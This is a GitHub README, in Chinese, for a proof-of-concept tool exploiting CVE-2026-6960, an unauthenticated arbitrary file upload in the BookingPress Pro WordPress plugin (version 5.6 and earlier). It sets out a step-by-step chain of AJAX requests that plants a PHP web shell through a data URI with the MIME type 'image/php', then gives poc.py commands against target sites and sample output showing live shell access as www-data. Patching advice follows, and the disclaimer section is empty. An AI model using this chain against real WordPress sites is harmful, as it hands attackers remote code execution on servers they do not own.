xxconi/CVE-2026-6960

GitHub: xxconi/CVE-2026-6960

此项目是针对 BookingPress Pro 插件低版本的未认证任意文件上传漏洞的检测与利用工具。

Stars: 0 | Forks: 0

# CVE-2026-6960 — BookingPress Pro ≤ 5.6 | 未认证任意文件上传 ![CVE](https://img.shields.io/badge/CVE-2026--6960-critical?style=flat-square&color=red) ![CVSS](https://img.shields.io/badge/CVSS-9.8-critical?style=flat-square&color=darkred) ![CWE](https://img.shields.io/badge/CWE-434-orange?style=flat-square) ![Auth](https://img.shields.io/badge/Auth-None-red?style=flat-square) ![Version](https://img.shields.io/badge/PoC-v2%20corrected-green?style=flat-square) ![Python](https://img.shields.io/badge/Python-3.10%2B-blue?style=flat-square) ## 概述 在 **BookingPress Pro** WordPress 插件(版本 ≤ 5.6)中发现了一个严重的未认证任意文件上传漏洞。预约提交处理器 `bookingpress_book_appointment_booking` 将签名自定义字段值作为 **data URI** 处理。该插件通过正则表达式从 URI 的 MIME 类型部分提取文件扩展名,并将其直接传递给 `file_put_contents()` — 不进行任何扩展名白名单或黑名单检查。这使得攻击者能够将 PHP web shell 写入 web 可访问目录,从而实现 **远程代码执行(RCE)**。 | 属性 | 详情 | |------------------|-----------------------------------------------------------------| | **插件** | BookingPress Pro (bookingpress-appointment-booking-pro) | | **受影响版本** | ≤ 5.6 | | **修复版本** | 5.7 | | **攻击向量** | 网络 / 未认证 | | **AJAX 动作** | `bookingpress_book_appointment_booking` | | **根本原因** | 从攻击者控制的 data URI 的 MIME 类型中提取扩展名 → `file_put_contents()`,无白名单 | | **CWE** | CWE-434:危险类型文件的上传不受限制 | ## 前置条件 - ✅ 站点管理员必须在 BookingPress 预约表单中配置一个**签名类型自定义字段** - ✅ 必须至少有一个**活跃服务**存在(以生成有效时间段) - ✅ 包含 **BookingPress 预约表单**小部件的页面必须公开可访问 运行 ≤ 5.6 **且未配置签名自定义字段**的站点**无法通过此向量利用**。 ## 攻击流程 ``` 1. GET /booking-page/ └─ Extract _wpnonce from page source 2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data └─ Obtain server-side timeslot transient key 3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details └─ Obtain pre-booking verification token 4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking └─ bookingpress_signature_field = "data:image/php;base64," └─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...) 5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id └─ RCE confirmed ``` ## 根本原因详解 受影响代码路径将签名字段值作为 data URI 处理: ``` data:image/{ext};base64,{base64_encoded_content} ``` BookingPress 通过正则匹配从 MIME 类型中提取 `{ext}`,然后使用 `file_put_contents()` 将解码后的内容写入磁盘,并将该扩展名附加到文件名后 — **未进行任何白名单检查**。提供 `image/php` 作为 MIME 类型会导致 `.php` 文件被写入上传目录。 这与标准的 multipart 文件上传有本质区别 — 载荷嵌入在 **JSON 请求体字段**中,而非文件上传部分。 ## 依赖 ``` pip install requests ``` ## 用法 ``` # Basic — 主页上的预订表单,服务 ID 1 python3 poc.py -u https://target.com # 特定页面上的预订表单 python3 poc.py -u https://target.com --booking-page /appointments/ # 自定义 service ID 和 shell 文件名 python3 poc.py -u https://target.com -s 3 -f evil.php # 跳过 SSL 验证 python3 poc.py -u https://target.com --no-verify ``` ### 参数 | 标志 | 描述 | 默认值 | |----------------------|---------------------------------------------------|-------------| | `-u`, `--url` | 目标 WordPress URL | *(必需)* | | `-bp`, `--booking-page` | 包含 BookingPress 表单的页面路径 | `/` | | `-s`, `--service-id` | BookingPress 服务 ID | `1` | | `-f`, `--filename` | Shell 文件名(扩展名注入到 data URI 的 MIME 中) | `shell.php` | | `--no-verify` | 禁用 SSL 证书验证 | `false` | ### 示例输出 ``` [!] PRECONDITION: This exploit requires a signature-type custom field to be configured in the BookingPress booking form by the site admin. [*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/ [+] _wpnonce found: 9f1c3a72bd [*] Step 2/3 — Fetching timeslot transient... [+] Timeslot transient: bp_ts_a1b2c3d4 [*] Step 3/3 — Fetching pre-booking verification token... [+] Verification token: bp_vt_e5f6g7h8 [*] Uploading shell via data URI method... [*] Extension injected into MIME type: image/php [+] Upload response (HTTP 200): {"success":true,...} [✓] Shell is LIVE! Output of 'id': uid=33(www-data) gid=33(www-data) [→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd= ``` ## 修复建议 1. **对 data URI 的 MIME 类型进行严格白名单验证**(允许 `image/png`、`image/jpeg`、`image/svg+xml`),之后再提取扩展名 2. **绝不从攻击者控制的输入中推导文件扩展名** — 生成随机文件名并硬编码安全扩展名 3. 使用 WordPress 原生函数 `wp_check_filetype_and_ext()` 进行所有文件类型验证 4. 考虑将签名文件**存储在 web 根目录之外**,以防止直接执行 **→ 立即更新至 BookingPress Pro 5.7。** ## 更新日志 ### v2 (2026-05-23) — 技术更正 | # | 问题 | v1 (错误) | v2 (已更正) | |---|------|-----------|-------------| | 1 | AJAX 动作 | `bookingpress_validate_submitted_booking_form` | `bookingpress_book_appointment_booking` | | 2 | 载荷方法 | 使用 `image/png` 的 Multipart 文件上传 | Data URI: `data:image/{ext};base64,...` | | 3 | 利用流程 | 直接未认证 POST | 3 步前置条件链(nonce → transient → token) | | 4 | 前置条件 | 未记录 | 必须配置签名自定义字段 | ## 免责声明
标签:BookingPress Pro, CISA项目, CVE-2026-6960, CWE-434, OpenVAS, PHP, Web shell, WordPress插件漏洞, 事件响应, 任意文件上传, 提权, 数据URI, 文件上传绕过, 无认证, 服务器端攻击, 未认证漏洞, 编程工具, 远程代码执行, 逆向工具, 高危漏洞